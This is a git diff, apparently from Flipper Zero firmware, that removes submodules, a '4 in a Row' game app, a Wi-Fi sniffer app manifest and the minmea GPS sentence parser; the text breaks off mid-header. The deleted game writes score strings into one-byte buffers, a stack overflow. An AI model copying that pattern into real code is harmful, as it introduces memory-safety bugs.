diff --git a/.gitmodules b/.gitmodules index 7a280cb11..52cf4a207 100644 --- a/.gitmodules +++ b/.gitmodules @@ -26,9 +26,6 @@ [submodule "lib/cxxheaderparser"] path = lib/cxxheaderparser url = https://github.com/robotpy/cxxheaderparser.git -[submodule "applications/external/dap_link/lib/free-dap"] - path = applications/external/dap_link/lib/free-dap - url = https://github.com/ataradov/free-dap.git [submodule "lib/heatshrink"] path = lib/heatshrink url = https://github.com/flipperdevices/heatshrink.git @@ -41,6 +38,3 @@ [submodule "lib/stm32wb_copro"] path = lib/stm32wb_copro url = https://github.com/flipperdevices/stm32wb_copro.git -[submodule "applications/external/totp/lib/wolfssl"] - path = applications/external/totp/lib/wolfssl - url = https://github.com/wolfSSL/wolfssl.git diff --git a/applications/external/4inrow/4inrow.c b/applications/external/4inrow/4inrow.c deleted file mode 100644 index da2d5a4cb..000000000 --- a/applications/external/4inrow/4inrow.c +++ /dev/null @@ -1,321 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include - -static int matrix[6][7] = {0}; -static int cursorx = 3; -static int cursory = 5; -static int player = 1; -static int scoreX = 0; -static int scoreO = 0; - -typedef struct { - FuriMutex* mutex; -} FourInRowState; - -void init() { - for(size_t i = 0; i < 6; i++) { - for(size_t j = 0; j < 7; j++) { - matrix[i][j] = 0; - } - } - cursorx = 3; - cursory = 5; - player = 1; -} - -const NotificationSequence end = { - &message_vibro_on, - - &message_note_ds4, - &message_delay_10, - &message_sound_off, - &message_delay_10, - - &message_note_ds4, - &message_delay_10, - &message_sound_off, - &message_delay_10, - - &message_note_ds4, - &message_delay_10, - &message_sound_off, - &message_delay_10, - - &message_vibro_off, - NULL, -}; - -void intToStr(int num, char* str) { - int i = 0, sign = 0; - - if(num < 0) { - num = -num; - sign = 1; - } - - do { - str[i++] = num % 10 + '0'; - num /= 10; - } while(num > 0); - - if(sign) { - str[i++] = '-'; - } - - str[i] = '\0'; - - // Reverse the string - int j, len = i; - char temp; - for(j = 0; j < len / 2; j++) { - temp = str[j]; - str[j] = str[len - j - 1]; - str[len - j - 1] = temp; - } -} - -int next_height(int x) { - if(matrix[0][x] != 0) { - return -1; - } - for(size_t y = 1; y < 6; y++) { - if(matrix[y][x] != 0) { - return y - 1; - } - } - return 5; -} - -int wincheck() { - for(size_t y = 0; y <= 2; y++) { - for(size_t x = 0; x <= 6; x++) { - if(matrix[y][x] != 0 && matrix[y][x] == matrix[y + 1][x] && - matrix[y][x] == matrix[y + 2][x] && matrix[y][x] == matrix[y + 3][x]) { - return matrix[y][x]; - } - } - } - - for(size_t y = 0; y <= 5; y++) { - for(size_t x = 0; x <= 3; x++) { - if(matrix[y][x] != 0 && matrix[y][x] == matrix[y][x + 1] && - matrix[y][x] == matrix[y][x + 2] && matrix[y][x] == matrix[y][x + 3]) { - return matrix[y][x]; - } - } - } - - for(size_t y = 0; y <= 2; y++) { - for(size_t x = 0; x <= 3; x++) { - if(matrix[y][x] != 0 && matrix[y][x] == matrix[y + 1][x + 1] && - matrix[y][x] == matrix[y + 2][x + 2] && matrix[y][x] == matrix[y + 3][x + 3]) { - return matrix[y][x]; - } - } - } - - for(size_t y = 3; y <= 5; y++) { - for(size_t x = 0; x <= 3; x++) { - if(matrix[y][x] != 0 && matrix[y][x] == matrix[y - 1][x + 1] && - matrix[y][x] == matrix[y - 2][x + 2] && matrix[y][x] == matrix[y - 3][x + 3]) { - return matrix[y][x]; - } - } - } - - bool tf = true; - for(size_t y = 0; y < 6; y++) { - for(size_t x = 0; x < 7; x++) { - if(matrix[y][x] == 0) { - tf = false; - } - } - } - if(tf) { - return 0; - } - - return -1; -} - -static void draw_callback(Canvas* canvas, void* ctx) { - furi_assert(ctx); - const FourInRowState* fourinrow_state = ctx; - - furi_mutex_acquire(fourinrow_state->mutex, FuriWaitForever); - canvas_clear(canvas); - - if(wincheck() != -1) { - canvas_set_font(canvas, FontPrimary); - - if(wincheck() == 0) { - canvas_draw_str(canvas, 30, 35, "Draw! O_o"); - } - if(wincheck() == 1) { - canvas_draw_str(canvas, 30, 35, "Player X win!"); - } - if(wincheck() == 2) { - canvas_draw_str(canvas, 30, 35, "Player O win!"); - } - - furi_mutex_release(fourinrow_state->mutex); - - return; - } - - for(size_t i = 0; i < 6; i++) { - for(size_t j = 0; j < 7; j++) { - char el[2]; - switch(matrix[i][j]) { - case 0: - strcpy(el, "_\0"); - break; - - case 1: - strcpy(el, "X\0"); - break; - - case 2: - strcpy(el, "O\0"); - break; - } - canvas_draw_str(canvas, j * 10 + 10, i * 10 + 10, el); - } - } - canvas_draw_str(canvas, cursorx * 10 + 8, cursory * 10 + 10, "[ ]"); - - if(player == 1) { - canvas_draw_str(canvas, 80, 10, "Turn: X"); - } - if(player == 2) { - canvas_draw_str(canvas, 80, 10, "Turn: O"); - } - char scX[1]; - intToStr(scoreX, scX); - char scO[1]; - intToStr(scoreO, scO); - - canvas_draw_str(canvas, 80, 20, "X:"); - canvas_draw_str(canvas, 90, 20, scX); - - canvas_draw_str(canvas, 80, 30, "O:"); - canvas_draw_str(canvas, 90, 30, scO); - - furi_mutex_release(fourinrow_state->mutex); -} - -static void input_callback(InputEvent* input_event, void* ctx) { - // Проверяем, что контекст не нулевой - furi_assert(ctx); - FuriMessageQueue* event_queue = ctx; - - furi_message_queue_put(event_queue, input_event, FuriWaitForever); -} - -int32_t four_in_row_app(void* p) { - UNUSED(p); - - // Текущее событие типа InputEvent - InputEvent event; - // Очередь событий на 8 элементов размера InputEvent - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); - - FourInRowState* fourinrow_state = malloc(sizeof(FourInRowState)); - - fourinrow_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); // Alloc Mutex - if(!fourinrow_state->mutex) { - FURI_LOG_E("4inRow", "cannot create mutex\r\n"); - furi_message_queue_free(event_queue); - free(fourinrow_state); - return 255; - } - - dolphin_deed(DolphinDeedPluginGameStart); - - // Создаем новый view port - ViewPort* view_port = view_port_alloc(); - // Создаем callback отрисовки, без контекста - view_port_draw_callback_set(view_port, draw_callback, fourinrow_state); - // Создаем callback нажатий на клавиши, в качестве контекста передаем - // нашу очередь сообщений, чтоб запихивать в неё эти события - view_port_input_callback_set(view_port, input_callback, event_queue); - - // Создаем GUI приложения - Gui* gui = furi_record_open(RECORD_GUI); - // Подключаем view port к GUI в полноэкранном режиме - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION); - notification_message_block(notification, &sequence_display_backlight_enforce_on); - - // Бесконечный цикл обработки очереди событий - while(1) { - // Выбираем событие из очереди в переменную event (ждем бесконечно долго, если очередь пуста) - // и проверяем, что у нас получилось это сделать - furi_check(furi_message_queue_get(event_queue, &event, FuriWaitForever) == FuriStatusOk); - furi_mutex_acquire(fourinrow_state->mutex, FuriWaitForever); - // Если нажата кнопка "назад", то выходим из цикла, а следовательно и из приложения - if(wincheck() != -1) { - notification_message(notification, &end); - furi_delay_ms(1000); - if(wincheck() == 1) { - scoreX++; - } - if(wincheck() == 2) { - scoreO++; - } - init(); - } - - if(event.type == InputTypePress) { - if(event.key == InputKeyOk) { - int nh = next_height(cursorx); - if(nh != -1) { - matrix[nh][cursorx] = player; - player = 3 - player; - } - } - if(event.key == InputKeyUp) { - //cursory--; - } - if(event.key == InputKeyDown) { - //cursory++; - } - if(event.key == InputKeyLeft) { - if(cursorx > 0) { - cursorx--; - } - } - if(event.key == InputKeyRight) { - if(cursorx < 6) { - cursorx++; - } - } - if(event.key == InputKeyBack) { - break; - } - } - view_port_update(view_port); - furi_mutex_release(fourinrow_state->mutex); - } - - // Clear notification - notification_message_block(notification, &sequence_display_backlight_enforce_auto); - furi_record_close(RECORD_NOTIFICATION); - - // Специальная очистка памяти, занимаемой очередью - furi_message_queue_free(event_queue); - - // Чистим созданные объекты, связанные с интерфейсом - gui_remove_view_port(gui, view_port); - view_port_free(view_port); - furi_mutex_free(fourinrow_state->mutex); - furi_record_close(RECORD_GUI); - free(fourinrow_state); - - return 0; -} diff --git a/applications/external/4inrow/4inrow_10px.png b/applications/external/4inrow/4inrow_10px.png deleted file mode 100644 index ef3e18f20..000000000 Binary files a/applications/external/4inrow/4inrow_10px.png and /dev/null differ diff --git a/applications/external/4inrow/application.fam b/applications/external/4inrow/application.fam deleted file mode 100644 index 67a133992..000000000 --- a/applications/external/4inrow/application.fam +++ /dev/null @@ -1,16 +0,0 @@ -App( - appid="4inrow", - name="4 in a Row", - apptype=FlipperAppType.EXTERNAL, - entry_point="four_in_row_app", - requires=[ - "gui", - ], - stack_size=1 * 1024, - fap_icon="4inrow_10px.png", - fap_category="Games", - fap_author="leo-need-more-coffee", - fap_weburl="https://github.com/leo-need-more-coffee/flipperzero-4inrow", - fap_version="1.0", - fap_description="4 in row Game", -) diff --git a/applications/external/advanced_wifisniff/application.fam b/applications/external/advanced_wifisniff/application.fam deleted file mode 100644 index 2f602fe20..000000000 --- a/applications/external/advanced_wifisniff/application.fam +++ /dev/null @@ -1,13 +0,0 @@ -# For details & more options, see documentation/AppManifests.md in firmware repo - -App( - appid="wifisniffer", # Must be unique - name="[ESP32GPS] Wifi Sniff", # Displayed in menus - apptype=FlipperAppType.EXTERNAL, - entry_point="wifisniffer_app", - stack_size=2 * 1024, - fap_category="WiFi", - fap_icon="sniff.png", # 10x10 1-bit PNG - fap_icon_assets="assets", - fap_icon_assets_symbol="wifisniffer", -) diff --git a/applications/external/advanced_wifisniff/assets/down.png b/applications/external/advanced_wifisniff/assets/down.png deleted file mode 100644 index d6cb77e69..000000000 Binary files a/applications/external/advanced_wifisniff/assets/down.png and /dev/null differ diff --git a/applications/external/advanced_wifisniff/assets/up.png b/applications/external/advanced_wifisniff/assets/up.png deleted file mode 100644 index 1b7d46904..000000000 Binary files a/applications/external/advanced_wifisniff/assets/up.png and /dev/null differ diff --git a/applications/external/advanced_wifisniff/helpers/minmea.c b/applications/external/advanced_wifisniff/helpers/minmea.c deleted file mode 100644 index 1b7a84b1c..000000000 --- a/applications/external/advanced_wifisniff/helpers/minmea.c +++ /dev/null @@ -1,640 +0,0 @@ -/* - * Copyright © 2014 Kosma Moczek - * This program is free software. It comes without any warranty, to the extent - * permitted by applicable law. You can redistribute it and/or modify it under - * the terms of the Do What The Fuck You Want To Public License, Version 2, as - * published by Sam Hocevar. See the COPYING file for more details. - */ - -#include "minmea.h" - -#include -#include -#include - -#define boolstr(s) ((s) ? "true" : "false") - -static int hex2int(char c) { - if(c >= '0' && c <= '9') return c - '0'; - if(c >= 'A' && c <= 'F') return c - 'A' + 10; - if(c >= 'a' && c <= 'f') return c - 'a' + 10; - return -1; -} - -uint8_t minmea_checksum(const char* sentence) { - // Support senteces with or without the starting dollar sign. - if(*sentence == '$') sentence++; - - uint8_t checksum = 0x00; - - // The optional checksum is an XOR of all bytes between "$" and "*". - while(*sentence && *sentence != '*') checksum ^= *sentence++; - - return checksum; -} - -bool minmea_check(const char* sentence, bool strict) { - uint8_t checksum = 0x00; - - // A valid sentence starts with "$". - if(*sentence++ != '$') return false; - - // The optional checksum is an XOR of all bytes between "$" and "*". - while(*sentence && *sentence != '*' && isprint((unsigned char)*sentence)) - checksum ^= *sentence++; - - // If checksum is present... - if(*sentence == '*') { - // Extract checksum. - sentence++; - int upper = hex2int(*sentence++); - if(upper == -1) return false; - int lower = hex2int(*sentence++); - if(lower == -1) return false; - int expected = upper << 4 | lower; - - // Check for checksum mismatch. - if(checksum != expected) return false; - } else if(strict) { - // Discard non-checksummed frames in strict mode. - return false; - } - - // The only stuff allowed at this point is a newline. - while(*sentence == '\r' || *sentence == '\n') { - sentence++; - } - - if(*sentence) { - return false; - } - - return true; -} - -bool minmea_scan(const char* sentence, const char* format, ...) { - bool result = false; - bool optional = false; - - if(sentence == NULL) return false; - - va_list ap; - va_start(ap, format); - - const char* field = sentence; -#define next_field() \ - do { \ - /* Progress to the next field. */ \ - while(minmea_isfield(*sentence)) sentence++; \ - /* Make sure there is a field there. */ \ - if(*sentence == ',') { \ - sentence++; \ - field = sentence; \ - } else { \ - field = NULL; \ - } \ - } while(0) - - while(*format) { - char type = *format++; - - if(type == ';') { - // All further fields are optional. - optional = true; - continue; - } - - if(!field && !optional) { - // Field requested but we ran out if input. Bail out. - goto parse_error; - } - - switch(type) { - case 'c': { // Single character field (char). - char value = '\0'; - - if(field && minmea_isfield(*field)) value = *field; - - *va_arg(ap, char*) = value; - } break; - - case 'd': { // Single character direction field (int). - int value = 0; - - if(field && minmea_isfield(*field)) { - switch(*field) { - case 'N': - case 'E': - value = 1; - break; - case 'S': - case 'W': - value = -1; - break; - default: - goto parse_error; - } - } - - *va_arg(ap, int*) = value; - } break; - - case 'f': { // Fractional value with scale (struct minmea_float). - int sign = 0; - int_least32_t value = -1; - int_least32_t scale = 0; - - if(field) { - while(minmea_isfield(*field)) { - if(*field == '+' && !sign && value == -1) { - sign = 1; - } else if(*field == '-' && !sign && value == -1) { - sign = -1; - } else if(isdigit((unsigned char)*field)) { - int digit = *field - '0'; - if(value == -1) value = 0; - if(value > (INT_LEAST32_MAX - digit) / 10) { - /* we ran out of bits, what do we do? */ - if(scale) { - /* truncate extra precision */ - break; - } else { - /* integer overflow. bail out. */ - goto parse_error; - } - } - value = (10 * value) + digit; - if(scale) scale *= 10; - } else if(*field == '.' && scale == 0) { - scale = 1; - } else if(*field == ' ') { - /* Allow spaces at the start of the field. Not NMEA - * conformant, but some modules do this. */ - if(sign != 0 || value != -1 || scale != 0) goto parse_error; - } else { - goto parse_error; - } - field++; - } - } - - if((sign || scale) && value == -1) goto parse_error; - - if(value == -1) { - /* No digits were scanned. */ - value = 0; - scale = 0; - } else if(scale == 0) { - /* No decimal point. */ - scale = 1; - } - if(sign) value *= sign; - - *va_arg(ap, struct minmea_float*) = (struct minmea_float){value, scale}; - } break; - - case 'i': { // Integer value, default 0 (int). - int value = 0; - - if(field) { - char* endptr; - value = strtol(field, &endptr, 10); - if(minmea_isfield(*endptr)) goto parse_error; - } - - *va_arg(ap, int*) = value; - } break; - - case 's': { // String value (char *). - char* buf = va_arg(ap, char*); - - if(field) { - while(minmea_isfield(*field)) *buf++ = *field++; - } - - *buf = '\0'; - } break; - - case 't': { // NMEA talker+sentence identifier (char *). - // This field is always mandatory. - if(!field) goto parse_error; - - if(field[0] != '$') goto parse_error; - for(int f = 0; f < 5; f++) - if(!minmea_isfield(field[1 + f])) goto parse_error; - - char* buf = va_arg(ap, char*); - memcpy(buf, field + 1, 5); - buf[5] = '\0'; - } break; - - case 'D': { // Date (int, int, int), -1 if empty. - struct minmea_date* date = va_arg(ap, struct minmea_date*); - - int d = -1, m = -1, y = -1; - - if(field && minmea_isfield(*field)) { - // Always six digits. - for(int f = 0; f < 6; f++) - if(!isdigit((unsigned char)field[f])) goto parse_error; - - char dArr[] = {field[0], field[1], '\0'}; - char mArr[] = {field[2], field[3], '\0'}; - char yArr[] = {field[4], field[5], '\0'}; - d = strtol(dArr, NULL, 10); - m = strtol(mArr, NULL, 10); - y = strtol(yArr, NULL, 10); - } - - date->day = d; - date->month = m; - date->year = y; - } break; - - case 'T': { // Time (int, int, int, int), -1 if empty. - struct minmea_time* time_ = va_arg(ap, struct minmea_time*); - - int h = -1, i = -1, s = -1, u = -1; - - if(field && minmea_isfield(*field)) { - // Minimum required: integer time. - for(int f = 0; f < 6; f++) - if(!isdigit((unsigned char)field[f])) goto parse_error; - - char hArr[] = {field[0], field[1], '\0'}; - char iArr[] = {field[2], field[3], '\0'}; - char sArr[] = {field[4], field[5], '\0'}; - h = strtol(hArr, NULL, 10); - i = strtol(iArr, NULL, 10); - s = strtol(sArr, NULL, 10); - field += 6; - - // Extra: fractional time. Saved as microseconds. - if(*field++ == '.') { - uint32_t value = 0; - uint32_t scale = 1000000LU; - while(isdigit((unsigned char)*field) && scale > 1) { - value = (value * 10) + (*field++ - '0'); - scale /= 10; - } - u = value * scale; - } else { - u = 0; - } - } - - time_->hours = h; - time_->minutes = i; - time_->seconds = s; - time_->microseconds = u; - } break; - - case '_': { // Ignore the field. - } break; - - default: { // Unknown. - goto parse_error; - } - } - - next_field(); - } - - result = true; - -parse_error: - va_end(ap); - return result; -} - -bool minmea_talker_id(char talker[3], const char* sentence) { - char type[6]; - if(!minmea_scan(sentence, "t", type)) return false; - - talker[0] = type[0]; - talker[1] = type[1]; - talker[2] = '\0'; - - return true; -} - -enum minmea_sentence_id minmea_sentence_id(const char* sentence, bool strict) { - if(!minmea_check(sentence, strict)) return MINMEA_INVALID; - - char type[6]; - if(!minmea_scan(sentence, "t", type)) return MINMEA_INVALID; - - if(!strcmp(type + 2, "GBS")) return MINMEA_SENTENCE_GBS; - if(!strcmp(type + 2, "GGA")) return MINMEA_SENTENCE_GGA; - if(!strcmp(type + 2, "GLL")) return MINMEA_SENTENCE_GLL; - if(!strcmp(type + 2, "GSA")) return MINMEA_SENTENCE_GSA; - if(!strcmp(type + 2, "GST")) return MINMEA_SENTENCE_GST; - if(!strcmp(type + 2, "GSV")) return MINMEA_SENTENCE_GSV; - if(!strcmp(type + 2, "RMC")) return MINMEA_SENTENCE_RMC; - if(!strcmp(type + 2, "VTG")) return MINMEA_SENTENCE_VTG; - if(!strcmp(type + 2, "ZDA")) return MINMEA_SENTENCE_ZDA; - - return MINMEA_UNKNOWN; -} - -bool minmea_parse_gbs(struct minmea_sentence_gbs* frame, const char* sentence) { - // $GNGBS,170556.00,3.0,2.9,8.3,,,,*5C - char type[6]; - if(!minmea_scan( - sentence, - "tTfffifff", - type, - &frame->time, - &frame->err_latitude, - &frame->err_longitude, - &frame->err_altitude, - &frame->svid, - &frame->prob, - &frame->bias, - &frame->stddev)) - return false; - if(strcmp(type + 2, "GBS")) return false; - - return true; -} - -bool minmea_parse_rmc(struct minmea_sentence_rmc* frame, const char* sentence) { - // $GPRMC,081836,A,3751.65,S,14507.36,E,000.0,360.0,130998,011.3,E*62 - char type[6]; - char validity; - int latitude_direction; - int longitude_direction; - int variation_direction; - if(!minmea_scan( - sentence, - "tTcfdfdffDfd", - type, - &frame->time, - &validity, - &frame->latitude, - &latitude_direction, - &frame->longitude, - &longitude_direction, - &frame->speed, - &frame->course, - &frame->date, - &frame->variation, - &variation_direction)) - return false; - if(strcmp(type + 2, "RMC")) return false; - - frame->valid = (validity == 'A'); - frame->latitude.value *= latitude_direction; - frame->longitude.value *= longitude_direction; - frame->variation.value *= variation_direction; - - return true; -} - -bool minmea_parse_gga(struct minmea_sentence_gga* frame, const char* sentence) { - // $GPGGA,123519,4807.038,N,01131.000,E,1,08,0.9,545.4,M,46.9,M,,*47 - char type[6]; - int latitude_direction; - int longitude_direction; - - if(!minmea_scan( - sentence, - "tTfdfdiiffcfcf_", - type, - &frame->time, - &frame->latitude, - &latitude_direction, - &frame->longitude, - &longitude_direction, - &frame->fix_quality, - &frame->satellites_tracked, - &frame->hdop, - &frame->altitude, - &frame->altitude_units, - &frame->height, - &frame->height_units, - &frame->dgps_age)) - return false; - if(strcmp(type + 2, "GGA")) return false; - - frame->latitude.value *= latitude_direction; - frame->longitude.value *= longitude_direction; - - return true; -} - -bool minmea_parse_gsa(struct minmea_sentence_gsa* frame, const char* sentence) { - // $GPGSA,A,3,04,05,,09,12,,,24,,,,,2.5,1.3,2.1*39 - char type[6]; - - if(!minmea_scan( - sentence, - "tciiiiiiiiiiiiifff", - type, - &frame->mode, - &frame->fix_type, - &frame->sats[0], - &frame->sats[1], - &frame->sats[2], - &frame->sats[3], - &frame->sats[4], - &frame->sats[5], - &frame->sats[6], - &frame->sats[7], - &frame->sats[8], - &frame->sats[9], - &frame->sats[10], - &frame->sats[11], - &frame->pdop, - &frame->hdop, - &frame->vdop)) - return false; - if(strcmp(type + 2, "GSA")) return false; - - return true; -} - -bool minmea_parse_gll(struct minmea_sentence_gll* frame, const char* sentence) { - // $GPGLL,3723.2475,N,12158.3416,W,161229.487,A,A*41$; - char type[6]; - int latitude_direction; - int longitude_direction; - - if(!minmea_scan( - sentence, - "tfdfdTc;c", - type, - &frame->latitude, - &latitude_direction, - &frame->longitude, - &longitude_direction, - &frame->time, - &frame->status, - &frame->mode)) - return false; - if(strcmp(type + 2, "GLL")) return false; - - frame->latitude.value *= latitude_direction; - frame->longitude.value *= longitude_direction; - - return true; -} - -bool minmea_parse_gst(struct minmea_sentence_gst* frame, const char* sentence) { - // $GPGST,024603.00,3.2,6.6,4.7,47.3,5.8,5.6,22.0*58 - char type[6]; - - if(!minmea_scan( - sentence, - "tTfffffff", - type, - &frame->time, - &frame->rms_deviation, - &frame->semi_major_deviation, - &frame->semi_minor_deviation, - &frame->semi_major_orientation, - &frame->latitude_error_deviation, - &frame->longitude_error_deviation, - &frame->altitude_error_deviation)) - return false; - if(strcmp(type + 2, "GST")) return false; - - return true; -} - -bool minmea_parse_gsv(struct minmea_sentence_gsv* frame, const char* sentence) { - // $GPGSV,3,1,11,03,03,111,00,04,15,270,00,06,01,010,00,13,06,292,00*74 - // $GPGSV,3,3,11,22,42,067,42,24,14,311,43,27,05,244,00,,,,*4D - // $GPGSV,4,2,11,08,51,203,30,09,45,215,28*75 - // $GPGSV,4,4,13,39,31,170,27*40 - // $GPGSV,4,4,13*7B - char type[6]; - - if(!minmea_scan( - sentence, - "tiii;iiiiiiiiiiiiiiii", - type, - &frame->total_msgs, - &frame->msg_nr, - &frame->total_sats, - &frame->sats[0].nr, - &frame->sats[0].elevation, - &frame->sats[0].azimuth, - &frame->sats[0].snr, - &frame->sats[1].nr, - &frame->sats[1].elevation, - &frame->sats[1].azimuth, - &frame->sats[1].snr, - &frame->sats[2].nr, - &frame->sats[2].elevation, - &frame->sats[2].azimuth, - &frame->sats[2].snr, - &frame->sats[3].nr, - &frame->sats[3].elevation, - &frame->sats[3].azimuth, - &frame->sats[3].snr)) { - return false; - } - if(strcmp(type + 2, "GSV")) return false; - - return true; -} - -bool minmea_parse_vtg(struct minmea_sentence_vtg* frame, const char* sentence) { - // $GPVTG,054.7,T,034.4,M,005.5,N,010.2,K*48 - // $GPVTG,156.1,T,140.9,M,0.0,N,0.0,K*41 - // $GPVTG,096.5,T,083.5,M,0.0,N,0.0,K,D*22 - // $GPVTG,188.36,T,,M,0.820,N,1.519,K,A*3F - char type[6]; - char c_true, c_magnetic, c_knots, c_kph, c_faa_mode; - - if(!minmea_scan( - sentence, - "t;fcfcfcfcc", - type, - &frame->true_track_degrees, - &c_true, - &frame->magnetic_track_degrees, - &c_magnetic, - &frame->speed_knots, - &c_knots, - &frame->speed_kph, - &c_kph, - &c_faa_mode)) - return false; - if(strcmp(type + 2, "VTG")) return false; - // values are only valid with the accompanying characters - if(c_true != 'T') frame->true_track_degrees.scale = 0; - if(c_magnetic != 'M') frame->magnetic_track_degrees.scale = 0; - if(c_knots != 'N') frame->speed_knots.scale = 0; - if(c_kph != 'K') frame->speed_kph.scale = 0; - frame->faa_mode = (enum minmea_faa_mode)c_faa_mode; - - return true; -} - -bool minmea_parse_zda(struct minmea_sentence_zda* frame, const char* sentence) { - // $GPZDA,201530.00,04,07,2002,00,00*60 - char type[6]; - - if(!minmea_scan( - sentence, - "tTiiiii", - type, - &frame->time, - &frame->date.day, - &frame->date.month, - &frame->date.year, - &frame->hour_offset, - &frame->minute_offset)) - return false; - if(strcmp(type + 2, "ZDA")) return false; - - // check offsets - if(abs(frame->hour_offset) > 13 || frame->minute_offset > 59 || frame->minute_offset < 0) - return false; - - return true; -} - -int minmea_getdatetime( - struct tm* tm, - const struct minmea_date* date, - const struct minmea_time* time_) { - if(date->year == -1 || time_->hours == -1) return -1; - - memset(tm, 0, sizeof(*tm)); - if(date->year < 80) { - tm->tm_year = 2000 + date->year - 1900; // 2000-2079 - } else if(date->year >= 1900) { - tm->tm_year = date->year - 1900; // 4 digit year, use directly - } else { - tm->tm_year = date->year; // 1980-1999 - } - tm->tm_mon = date->month - 1; - tm->tm_mday = date->day; - tm->tm_hour = time_->hours; - tm->tm_min = time_->minutes; - tm->tm_sec = time_->seconds; - - return 0; -} - -int minmea_gettime( - struct timespec* ts, - const struct minmea_date* date, - const struct minmea_time* time_) { - struct tm tm; - if(minmea_getdatetime(&tm, date, time_)) return -1; - - time_t timestamp = mktime(&tm); /* See README.md if your system lacks timegm(). */ - if(timestamp != (time_t)-1) { - ts->tv_sec = timestamp; - ts->tv_nsec = time_->microseconds * 1000; - return 0; - } else { - return -1; - } -} - -/* vim: set ts=4 sw=4 et: */ diff --git a/applications/external/advanced_wifisniff/helpers/minmea.h b/applications/external/advanced_wifisniff/helpers/minmea.h deleted file mode 100644 index 88eec4ae9..000000000 --- a/applications/external/advanced_wifisniff/helpers/minmea.h +++ /dev/null @@ -1,295 +0,0 @@ -/* - * Copyright © 2014 Kosma Moczek - * This program is free software. It comes without any warranty, to the extent - * permitted by applicable law. You can redistribute it and/or modify it under - * the terms of the Do What The Fuck You Want To Public License, Version 2, as - * published by Sam Hocevar. See the COPYING file for more details. - */ - -#ifndef MINMEA_H -#define MINMEA_H - -#ifdef __cplusplus -extern "C" { -#endif - -#include -#include -#include -#include -#include -#ifdef MINMEA_INCLUDE_COMPAT -#include -#endif - -#ifndef MINMEA_MAX_SENTENCE_LENGTH -#define MINMEA_MAX_SENTENCE_LENGTH 80 -#endif - -enum minmea_sentence_id { - MINMEA_INVALID = -1, - MINMEA_UNKNOWN = 0, - MINMEA_SENTENCE_GBS, - MINMEA_SENTENCE_GGA, - MINMEA_SENTENCE_GLL, - MINMEA_SENTENCE_GSA, - MINMEA_SENTENCE_GST, - MINMEA_SENTENCE_GSV, - MINMEA_SENTENCE_RMC, - MINMEA_SENTENCE_VTG, - MINMEA_SENTENCE_ZDA, -}; - -struct minmea_float { - int_least32_t value; - int_least32_t scale; -}; - -struct minmea_date { - int day; - int month; - int year; -}; - -struct minmea_time { - int hours; - int minutes; - int seconds; - int microseconds; -}; - -struct minmea_sentence_gbs { - struct minmea_time time; - struct minmea_float err_latitude; - struct minmea_float err_longitude; - struct minmea_float err_altitude; - int svid; - struct minmea_float prob; - struct minmea_float bias; - struct minmea_float stddev; -}; - -struct minmea_sentence_rmc { - struct minmea_time time; - bool valid; - struct minmea_float latitude; - struct minmea_float longitude; - struct minmea_float speed; - struct minmea_float course; - struct minmea_date date; - struct minmea_float variation; -}; - -struct minmea_sentence_gga { - struct minmea_time time; - struct minmea_float latitude; - struct minmea_float longitude; - int fix_quality; - int satellites_tracked; - struct minmea_float hdop; - struct minmea_float altitude; - char altitude_units; - struct minmea_float height; - char height_units; - struct minmea_float dgps_age; -}; - -enum minmea_gll_status { - MINMEA_GLL_STATUS_DATA_VALID = 'A', - MINMEA_GLL_STATUS_DATA_NOT_VALID = 'V', -}; - -// FAA mode added to some fields in NMEA 2.3. -enum minmea_faa_mode { - MINMEA_FAA_MODE_AUTONOMOUS = 'A', - MINMEA_FAA_MODE_DIFFERENTIAL = 'D', - MINMEA_FAA_MODE_ESTIMATED = 'E', - MINMEA_FAA_MODE_MANUAL = 'M', - MINMEA_FAA_MODE_SIMULATED = 'S', - MINMEA_FAA_MODE_NOT_VALID = 'N', - MINMEA_FAA_MODE_PRECISE = 'P', -}; - -struct minmea_sentence_gll { - struct minmea_float latitude; - struct minmea_float longitude; - struct minmea_time time; - char status; - char mode; -}; - -struct minmea_sentence_gst { - struct minmea_time time; - struct minmea_float rms_deviation; - struct minmea_float semi_major_deviation; - struct minmea_float semi_minor_deviation; - struct minmea_float semi_major_orientation; - struct minmea_float latitude_error_deviation; - struct minmea_float longitude_error_deviation; - struct minmea_float altitude_error_deviation; -}; - -enum minmea_gsa_mode { - MINMEA_GPGSA_MODE_AUTO = 'A', - MINMEA_GPGSA_MODE_FORCED = 'M', -}; - -enum minmea_gsa_fix_type { - MINMEA_GPGSA_FIX_NONE = 1, - MINMEA_GPGSA_FIX_2D = 2, - MINMEA_GPGSA_FIX_3D = 3, -}; - -struct minmea_sentence_gsa { - char mode; - int fix_type; - int sats[12]; - struct minmea_float pdop; - struct minmea_float hdop; - struct minmea_float vdop; -}; - -struct minmea_sat_info { - int nr; - int elevation; - int azimuth; - int snr; -}; - -struct minmea_sentence_gsv { - int total_msgs; - int msg_nr; - int total_sats; - struct minmea_sat_info sats[4]; -}; - -struct minmea_sentence_vtg { - struct minmea_float true_track_degrees; - struct minmea_float magnetic_track_degrees; - struct minmea_float speed_knots; - struct minmea_float speed_kph; - enum minmea_faa_mode faa_mode; -}; - -struct minmea_sentence_zda { - struct minmea_time time; - struct minmea_date date; - int hour_offset; - int minute_offset; -}; - -/** - * Calculate raw sentence checksum. Does not check sentence integrity. - */ -uint8_t minmea_checksum(const char* sentence); - -/** - * Check sentence validity and checksum. Returns true for valid sentences. - */ -bool minmea_check(const char* sentence, bool strict); - -/** - * Determine talker identifier. - */ -bool minmea_talker_id(char talker[3], const char* sentence); - -/** - * Determine sentence identifier. - */ -enum minmea_sentence_id minmea_sentence_id(const char* sentence, bool strict); - -/** - * Scanf-like processor for NMEA sentences. Supports the following formats: - * c - single character (char *) - * d - direction, returned as 1/-1, default 0 (int *) - * f - fractional, returned as value + scale (struct minmea_float *) - * i - decimal, default zero (int *) - * s - string (char *) - * t - talker identifier and type (char *) - * D - date (struct minmea_date *) - * T - time stamp (struct minmea_time *) - * _ - ignore this field - * ; - following fields are optional - * Returns true on success. See library source code for details. - */ -bool minmea_scan(const char* sentence, const char* format, ...); - -/* - * Parse a specific type of sentence. Return true on success. - */ -bool minmea_parse_gbs(struct minmea_sentence_gbs* frame, const char* sentence); -bool minmea_parse_rmc(struct minmea_sentence_rmc* frame, const char* sentence); -bool minmea_parse_gga(struct minmea_sentence_gga* frame, const char* sentence); -bool 